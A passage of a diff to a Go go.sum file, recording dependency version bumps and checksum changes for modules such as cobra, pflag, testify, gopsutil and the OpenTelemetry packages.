h1:/yeG0My1xr/u+HZrFQ1tOQQQQrOawfyMUH13ai5brBc= github.com/shibumi/go-pathspec v1.3.0 h1:QUyMZhFo0Md5B8zV8x2tesohbb5kfbpTi9rBnKh5dkI= github.com/shibumi/go-pathspec v1.3.0/go.mod h1:Xutfslp817l2I1cZvgcfeMQJG5QnU2lh5tVaaMCl3jE= +github.com/shirou/gopsutil/v3 v3.24.4 h1:dEHgzZXt4LMNm+oYELpzl9YCqV65Yr/6SfrvgRBtXeU= +github.com/shirou/gopsutil/v3 v3.24.4/go.mod h1:lTd2mdiOspcqLgAnr9/nGi71NkeMpWKdmhuxm9GusH8= +github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM= +github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= +github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU= +github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= github.com/sirupsen/logrus v1.0.6/go.mod h1:pMByvHTf9Beacp5x1UXfOR9xyW/9antXMhjMPG0dEzc= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= -github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= @@ -612,18 +708,18 @@ github.com/spaolacci/murmur3 v1.1.0 h1:7c1g84S4BPRrfL5Xrdp6fOJ206sU9y293DDHaoy0b github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= github.com/spdx/tools-golang v0.5.3 h1:ialnHeEYUC4+hkm5vJm4qz2x+oEJbS0mAMFrNXdQraY= github.com/spdx/tools-golang v0.5.3/go.mod h1:/ETOahiAo96Ob0/RAIBmFZw6XN0yTnyr/uFZm2NTMhI= -github.com/spf13/afero v1.11.0 h1:WJQKhtpdm3v2IzqG8VMqrr6Rf3UYpEF239Jy9wNepM8= -github.com/spf13/afero v1.11.0/go.mod h1:GH9Y3pIexgf1MTIWtNGyogA5MwRIDXGUr+hbWNoBjkY= +github.com/spf13/afero v1.12.0 h1:UcOPyRBYczmFn6yvphxkn9ZEOY65cpwGKb5mL36mrqs= +github.com/spf13/afero v1.12.0/go.mod h1:ZTlWwG4/ahT8W7T0WQ5uYmjI9duaLQGy3Q2OAl4sk/4= github.com/spf13/cast v0.0.0-20150508191742-4d07383ffe94/go.mod h1:r2rcYCSwa1IExKTDiTfzaxqT2FNHs8hODu4LnUfgKEg= github.com/spf13/cast v1.6.0 h1:GEiTHELF+vaR5dhz3VqZfFSzZjYbgeKDpBxQVS4GYJ0= github.com/spf13/cast v1.6.0/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo= github.com/spf13/cobra v0.0.1/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ= -github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= -github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= +github.com/spf13/cobra v1.9.1 h1:CXSaggrXdbHK9CF+8ywj8Amf7PBRmPCOJugH954Nnlo= +github.com/spf13/cobra v1.9.1/go.mod h1:nDyEzZ8ogv936Cinf6g1RU9MRY64Ir93oCnqb9wxYW0= github.com/spf13/jwalterweatherman v0.0.0-20141219030609-3d60171a6431/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/pflag v1.0.0/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= -github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= -github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o= +github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v0.0.0-20150530192845-be5ff3e4840c/go.mod h1:A8kyI5cUJhb8N+3pkfONlcEcZbueH6nhAm0Fq7SrnBM= github.com/spf13/viper v1.19.0 h1:RWq5SEjt8o25SROyN3z2OrDB9l7RPd3lwTWU8EcEdcI= github.com/spf13/viper v1.19.0/go.mod h1:GQUN9bilAbhU/jgc1bKs99f/suXKeUMct8Adx5+Ntkg= @@ -644,24 +740,41 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= +github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8= github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU= +github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635 h1:kdXcSzyDtseVEc4yCz2qF8ZrQvIDBJLl4S1c3GCXmoI= +github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= github.com/theupdateframework/notary v0.7.0 h1:QyagRZ7wlSpjT5N2qQAh/pN+DVqgekv4DzbAiAiEL3c= github.com/theupdateframework/notary v0.7.0/go.mod h1:c9DRxcmhHmVLDay4/2fUYdISnHqbFDGRSlXPO0AhYWw= github.com/tilt-dev/fsnotify v1.4.8-0.20220602155310-fff9c274a375 h1:QB54BJwA6x8QU9nHY3xJSZR2kX9bgpZekRKGkLTmEXA= github.com/tilt-dev/fsnotify v1.4.8-0.20220602155310-fff9c274a375/go.mod h1:xRroudyp5iVtxKqZCrA6n2TLFRBf8bmnjr1UD4x+z7g= -github.com/tinylib/msgp v1.1.9 h1:SHf3yoO2sGA0veCJeCBYLHuttAVFHGm2RHgNodW7wQU= -github.com/tinylib/msgp v1.1.9/go.mod h1:BCXGB54lDD8qUEPmiG0cQQUANC4IUQyB2ItS2UDlO/k= -github.com/tonistiigi/fsutil v0.0.0-20240424095704-91a3fc46842c h1:+6wg/4ORAbnSoGDzg2Q1i3CeMcT/jjhye/ZfnBHy7/M= -github.com/tonistiigi/fsutil v0.0.0-20240424095704-91a3fc46842c/go.mod h1:vbbYqJlnswsbJqWUcJN8fKtBhnEgldDrcagTgnBVKKM= +github.com/tinylib/msgp v1.2.1 h1:6ypy2qcCznxpP4hpORzhtXyTqrBs7cfM9MCCWY8zsmU= +github.com/tinylib/msgp v1.2.1/go.mod h1:2vIGs3lcUo8izAATNobrCHevYZC/LMsJtw4JPiYPHro= +github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU= +github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI= +github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk= +github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY= +github.com/tonistiigi/dchapes-mode v0.0.0-20241001053921-ca0759fec205 h1:eUk79E1w8yMtXeHSzjKorxuC8qJOnyXQnLaJehxpJaI= +github.com/tonistiigi/dchapes-mode v0.0.0-20241001053921-ca0759fec205/go.mod h1:3Iuxbr0P7D3zUzBMAZB+ois3h/et0shEz0qApgHYGpY= +github.com/tonistiigi/fsutil v0.0.0-20250113203817-b14e27f4135a h1:EfGw4G0x/8qXWgtcZ6KVaPS+wpWOQMaypczzP8ojkMY= +github.com/tonistiigi/fsutil v0.0.0-20250113203817-b14e27f4135a/go.mod h1:Dl/9oEjK7IqnjAm21Okx/XIxUCFJzvh+XdVHUlBwXTw= +github.com/tonistiigi/go-csvvalue v0.0.0-20240710180619-ddb21b71c0b4 h1:7I5c2Ig/5FgqkYOh/N87NzoyI9U15qUPXhDD8uCupv8= +github.com/tonistiigi/go-csvvalue v0.0.0-20240710180619-ddb21b71c0b4/go.mod h1:278M4p8WsNh3n4a1eqiFcV2FGk7wE5fwUpUom9mK9lE= github.com/tonistiigi/units v0.0.0-20180711220420-6950e57a87ea h1:SXhTLE6pb6eld/v/cCndK0AMpt1wiVFb/YYmqB3/QG0= github.com/tonistiigi/units v0.0.0-20180711220420-6950e57a87ea/go.mod h1:WPnis/6cRcDZSUvVmezrxJPkiO87ThFYsoUiMwWNDJk= github.com/tonistiigi/vt100 v0.0.0-20240514184818-90bafcd6abab h1:H6aJ0yKQ0gF49Qb2z5hI1UHxSQt4JMyxebFR15KnApw= github.com/tonistiigi/vt100 v0.0.0-20240514184818-90bafcd6abab/go.mod h1:ulncasL3N9uLrVann0m+CDlJKWsIAP34MPcOJF6VRvc= -github.com/vbatts/tar-split v0.11.5 h1:3bHCTIheBm1qFTcgh9oPu+nNBtX+XJIupG/vacinCts= -github.com/vbatts/tar-split v0.11.5/go.mod h1:yZbwRsSeGjusneWgA781EKej9HF8vme8okylkAeNKLk= +github.com/vbatts/tar-split v0.11.6 h1:4SjTW5+PU11n6fZenf2IPoV8/tz3AaYHMWjf23envGs= +github.com/vbatts/tar-split v0.11.6/go.mod h1:dqKNtesIOr2j2Qv3W/cHjnvk9I8+G7oAkFDFN6TCBEI= +github.com/vmihailenco/msgpack/v4 v4.3.12 h1:07s4sz9IReOgdikxLTKNbBdqDMLsjPKXwvCazn8G65U= +github.com/vmihailenco/msgpack/v4 v4.3.12/go.mod h1:gborTTJjAo/GWTqqRjrLCn9pgNN+NXzzngzBKDPIqw4= +github.com/vmihailenco/tagparser v0.1.2 h1:gnjoVuB/kljJ5wICEEOpx98oXMWPLj22G67Vbd1qPqc= +github.com/vmihailenco/tagparser v0.1.2/go.mod h1:OeAg3pn3UbLjkWt+rN9oFYB6u/cQgqMEUPoW2WPyhdI= +github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= +github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.1.2 h1:FHX5I5B4i4hKRVRBCFRxq1iQRej7WO3hhBuJf+UUySY= @@ -675,65 +788,79 @@ github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHo github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= -github.com/youmark/pkcs8 v0.0.0-20240424034433-3c2c7870ae76 h1:tBiBTKHnIjovYoLX/TPkcf+OjqqKGQrPtGT3Foz+Pgo= -github.com/youmark/pkcs8 v0.0.0-20240424034433-3c2c7870ae76/go.mod h1:SQliXeA7Dhkt//vS29v3zpbEwoa+zb2Cn5xj5uO4K5U= +github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 h1:ilQV1hzziu+LLM3zUTJ0trRztfwgjqKnBWNtSRkbmwM= +github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78/go.mod h1:aL8wCCfTfSfmXjznFBSZNN13rSJjlIOI1fUNAtF7rmI= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -go.mongodb.org/mongo-driver v1.15.0 h1:rJCKC8eEliewXjZGf0ddURtl7tTVy1TK3bfl0gkUSLc= -go.mongodb.org/mongo-driver v1.15.0/go.mod h1:Vzb0Mk/pa7e6cWw85R4F/endUC3u0U9jGcNU603k65c= +github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= +github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= +github.com/zclconf/go-cty v1.16.0 h1:xPKEhst+BW5D0wxebMZkxgapvOE/dw7bFTlgSc9nD6w= +github.com/zclconf/go-cty v1.16.0/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= +go.mongodb.org/mongo-driver v1.17.3 h1:TQyXhnsWfWtgAhMtOgtYHMTkZIfBTpMTsMnd9ZBeHxQ= +go.mongodb.org/mongo-driver v1.17.3/go.mod h1:Hy04i7O2kC4RS06ZrhPRqj/u4DTYkFDAAccj+rVKqgQ= go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.52.0 h1:vS1Ao/R55RNV4O7TA2Qopok8yN+X0LIP6RVWLFkprck= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.52.0/go.mod h1:BMsdeOxN04K0L5FNUBfjFdvwWGNe/rkmSwH4Aelu/X0= -go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.52.0 h1:Ud1trPqDHGSxyMiJ9a2XAdtTCXmRy0Yf7MjhW4dXogI= -go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.52.0/go.mod h1:l/UzmhdRx9YP37NI/nSr7l1bgG0dZnGfZf6C7TiV4jI= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.52.0 h1:9l89oX4ba9kHbBol3Xin3leYJ+252h0zszDtBwyKe2A= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.52.0/go.mod h1:XLZfZboOJWHNKUv7eH0inh0E9VV6eWDFB/9yJyTLPp0= -go.opentelemetry.io/otel v1.27.0 h1:9BZoF3yMK/O1AafMiQTVu0YDj5Ea4hPhxCs7sGva+cg= -go.opentelemetry.io/otel v1.27.0/go.mod h1:DMpAK8fzYRzs+bi3rS5REupisuqTheUlSZJ1WnZaPAQ= -go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.27.0 h1:bFgvUr3/O4PHj3VQcFEuYKvRZJX1SJDQ+11JXuSB3/w= -go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.27.0/go.mod h1:xJntEd2KL6Qdg5lwp97HMLQDVeAhrYxmzFseAMDPQ8I= -go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.27.0 h1:CIHWikMsN3wO+wq1Tp5VGdVRTcON+DmOJSfDjXypKOc= -go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.27.0/go.mod h1:TNupZ6cxqyFEpLXAZW7On+mLFL0/g0TE3unIYL91xWc= -go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.27.0 h1:R9DE4kQ4k+YtfLI2ULwX82VtNQ2J8yZmA7ZIF/D+7Mc= -go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.27.0/go.mod h1:OQFyQVrDlbe+R7xrEyDr/2Wr67Ol0hRUgsfA+V5A95s= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.27.0 h1:qFffATk0X+HD+f1Z8lswGiOQYKHRlzfmdJm0wEaVrFA= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.27.0/go.mod h1:MOiCmryaYtc+V0Ei+Tx9o5S1ZjA7kzLucuVuyzBZloQ= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.27.0 h1:QY7/0NeRPKlzusf40ZE4t1VlMKbqSNT7cJRYzWuja0s= -go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.27.0/go.mod h1:HVkSiDhTM9BoUJU8qE6j2eSWLLXvi1USXjyd2BXT8PY= +go.opentelemetry.io/collector/component v0.104.0 h1:jqu/X9rnv8ha0RNZ1a9+x7OU49KwSMsPbOuIEykHuQE= +go.opentelemetry.io/collector/component v0.104.0/go.mod h1:1C7C0hMVSbXyY1ycCmaMUAR9fVwpgyiNQqxXtEWhVpw= +go.opentelemetry.io/collector/config/configtelemetry v0.104.0 h1:eHv98XIhapZA8MgTiipvi+FDOXoFhCYOwyKReOt+E4E= +go.opentelemetry.io/collector/config/configtelemetry v0.104.0/go.mod h1:WxWKNVAQJg/Io1nA3xLgn/DWLE/W1QOB2+/Js3ACi40= +go.opentelemetry.io/collector/pdata v1.11.0 h1:rzYyV1zfTQQz1DI9hCiaKyyaczqawN75XO9mdXmR/hE= +go.opentelemetry.io/collector/pdata v1.11.0/go.mod h1:IHxHsp+Jq/xfjORQMDJjSH6jvedOSTOyu3nbxqhWSYE= +go.opentelemetry.io/collector/pdata/pprofile v0.104.0 h1:MYOIHvPlKEJbWLiBKFQWGD0xd2u22xGVLt4jPbdxP4Y= +go.opentelemetry.io/collector/pdata/pprofile v0.104.0/go.mod h1:7WpyHk2wJZRx70CGkBio8klrYTTXASbyIhf+rH4FKnA= +go.opentelemetry.io/collector/semconv v0.104.0 h1:dUvajnh+AYJLEW/XOPk0T0BlwltSdi3vrjO7nSOos3k= +go.opentelemetry.io/collector/semconv v0.104.0/go.mod h1:yMVUCNoQPZVq/IPfrHrnntZTWsLf5YGZ7qwKulIl5hw= +go.opentelemetry.io/contrib/detectors/gcp v1.32.0 h1:P78qWqkLSShicHmAzfECaTgvslqHxblNE9j62Ws1NK8= +go.opentelemetry.io/contrib/detectors/gcp v1.32.0/go.mod h1:TVqo0Sda4Cv8gCIixd7LuLwW4EylumVWfhjZJjDD4DU= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.56.0 h1:yMkBS9yViCc7U7yeLzJPM2XizlfdVvBRSmsQDWu6qc0= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.56.0/go.mod h1:n8MR6/liuGB5EmTETUBeU5ZgqMOlqKRxUaqPQBOANZ8= +go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.56.0 h1:4BZHA+B1wXEQoGNHxW8mURaLhcdGwvRnmhGbm+odRbc= +go.opentelemetry.io/contrib/instrumentation/net/http/httptrace/otelhttptrace v0.56.0/go.mod h1:3qi2EEwMgB4xnKgPLqsDP3j9qxnHDZeHsnAxfjQqTko= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.56.0 h1:UP6IpuHFkUgOQL9FFQFrZ+5LiwhhYRbi7VZSIx6Nj5s= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.56.0/go.mod h1:qxuZLtbq5QDtdeSHsS7bcf6EH6uO6jUAgk764zd3rhM= +go.opentelemetry.io/otel v1.32.0 h1:WnBN+Xjcteh0zdk01SVqV55d/m62NJLJdIyb4y/WO5U= +go.opentelemetry.io/otel v1.32.0/go.mod h1:00DCVSB0RQcnzlwyTfqtxSm+DRr9hpYrHjNGiBHVQIg= +go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.31.0 h1:FZ6ei8GFW7kyPYdxJaV2rgI6M+4tvZzhYsQ2wgyVC08= +go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.31.0/go.mod h1:MdEu/mC6j3D+tTEfvI15b5Ci2Fn7NneJ71YMoiS3tpI= +go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.31.0 h1:ZsXq73BERAiNuuFXYqP4MR5hBrjXfMGSO+Cx7qoOZiM= +go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.31.0/go.mod h1:hg1zaDMpyZJuUzjFxFsRYBoccE86tM9Uf4IqNMUxvrY= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.31.0 h1:K0XaT3DwHAcV4nKLzcQvwAgSyisUghWoY20I7huthMk= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.31.0/go.mod h1:B5Ki776z/MBnVha1Nzwp5arlzBbE3+1jk+pGmaP5HME= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.31.0 h1:FFeLy03iVTXP6ffeN2iXrxfGsZGCjVx0/4KlizjyBwU= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.31.0/go.mod h1:TMu73/k1CP8nBUpDLc71Wj/Kf7ZS9FK5b53VapRsP9o= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.31.0 h1:lUsI2TYsQw2r1IASwoROaCnjdj2cvC2+Jbxvk6nHnWU= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.31.0/go.mod h1:2HpZxxQurfGxJlJDblybejHB6RX6pmExPNe517hREw4= go.opentelemetry.io/otel/exporters/prometheus v0.49.0 h1:Er5I1g/YhfYv9Affk9nJLfH/+qCCVVg1f2R9AbJfqDQ= go.opentelemetry.io/otel/exporters/prometheus v0.49.0/go.mod h1:KfQ1wpjf3zsHjzP149P4LyAwWRupc6c7t1ZJ9eXpKQM= -go.opentelemetry.io/otel/metric v1.27.0 h1:hvj3vdEKyeCi4YaYfNjv2NUje8FqKqUY8IlF0FxV/ik= -go.opentelemetry.io/otel/metric v1.27.0/go.mod h1:mVFgmRlhljgBiuk/MP/oKylr4hs85GZAylncepAX/ak= -go.opentelemetry.io/otel/sdk v1.27.0 h1:mlk+/Y1gLPLn84U4tI8d3GNJmGT/eXe3ZuOXN9kTWmI= -go.opentelemetry.io/otel/sdk v1.27.0/go.mod h1:Ha9vbLwJE6W86YstIywK2xFfPjbWlCuwPtMkKdz/Y4A= -go.opentelemetry.io/otel/sdk/metric v1.27.0 h1:5uGNOlpXi+Hbo/DRoI31BSb1v+OGcpv2NemcCrOL8gI= -go.opentelemetry.io/otel/sdk/metric v1.27.0/go.mod h1:we7jJVrYN2kh3mVBlswtPU22K0SA+769l93J6bsyvqw= -go.opentelemetry.io/otel/trace v1.27.0 h1:IqYb813p7cmbHk0a5y6pD5JPakbVfftRXABGt5/Rscw= -go.opentelemetry.io/otel/trace v1.27.0/go.mod h1:6RiD1hkAprV4/q+yd2ln1HG9GoPx39SuvvstaLBl+l4= -go.opentelemetry.io/proto/otlp v1.2.0 h1:pVeZGk7nXDC9O2hncA6nHldxEjm6LByfA2aN8IOkz94= -go.opentelemetry.io/proto/otlp v1.2.0/go.mod h1:gGpR8txAl5M03pDhMC79G6SdqNV26naRm/KDsgaHD8A= -go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.29.0 h1:WDdP9acbMYjbKIyJUhTvtzj601sVJOqgWdUxSdR/Ysc= +go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.29.0/go.mod h1:BLbf7zbNIONBLPwvFnwNHGj4zge8uTCM/UPIVW1Mq2I= +go.opentelemetry.io/otel/metric v1.32.0 h1:xV2umtmNcThh2/a/aCP+h64Xx5wsj8qqnkYZktzNa0M= +go.opentelemetry.io/otel/metric v1.32.0/go.mod h1:jH7CIbbK6SH2V2wE16W05BHCtIDzauciCRLoc/SyMv8= +go.opentelemetry.io/otel/sdk v1.32.0 h1:RNxepc9vK59A8XsgZQouW8ue8Gkb4jpWtJm9ge5lEG4= +go.opentelemetry.io/otel/sdk v1.32.0/go.mod h1:LqgegDBjKMmb2GC6/PrTnteJG39I8/vJCAP9LlJXEjU= +go.opentelemetry.io/otel/sdk/metric v1.32.0 h1:rZvFnvmvawYb0alrYkjraqJq0Z4ZUJAiyYCU9snn1CU= +go.opentelemetry.io/otel/sdk/metric v1.32.0/go.mod h1:PWeZlq0zt9YkYAp3gjKZ0eicRYvOh1Gd+X99x6GHpCQ= +go.opentelemetry.io/otel/trace v1.32.0 h1:WIC9mYrXf8TmY/EXuULKc8hR17vE+Hjv2cssQDe03fM= +go.opentelemetry.io/otel/trace v1.32.0/go.mod h1:+i4rkvCraA+tG6AzwloGaCtkx53Fa+L+V8e9a7YvhT8= +go.opentelemetry.io/proto/otlp v1.3.1 h1:TrMUixzpM0yuc/znrFTP9MMRh8trP93mkCiDVeXrui0= +go.opentelemetry.io/proto/otlp v1.3.1/go.mod h1:0X1WI4de4ZsLrrJNLAQbFeLCm3T7yBkR0XqQ7niQU+8= go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= -go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= -go.uber.org/mock v0.4.0 h1:VcM4ZOtdbR4f6VXfiOpwpVJDL6lCReaZ6mw31wqh7KU= -go.uber.org/mock v0.4.0/go.mod h1:a6FSlNadKUHUa9IP5Vyt1zh4fC7uAwxMutEAscFbkZc= -go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/mock v0.5.0 h1:KAMbZvZPyBPWgD14IrIQ38QCyjwpvVVV6K/bHl1IwQU= +go.uber.org/mock v0.5.0/go.mod h1:ge71pBPLYDk7QIi1LupWxdAykm7KIEFchiOqd6z7qMM= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= go.uber.org/ratelimit v0.3.1 h1:K4qVE+byfv/B3tC+4nYWP7v/6SimcO7HzHekoMNBma0= go.uber.org/ratelimit v0.3.1/go.mod h1:6euWsTB6U/Nb3X++xEUXA8ciPJvr19Q/0h1+oDcJhRk= -go.uber.org/zap v1.18.1/go.mod h1:xg/QME4nWcxGxrpdeYfq7UvYrLh66cuVKdrbD1XF/NI= go.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8= go.uber.org/zap v1.27.0/go.mod 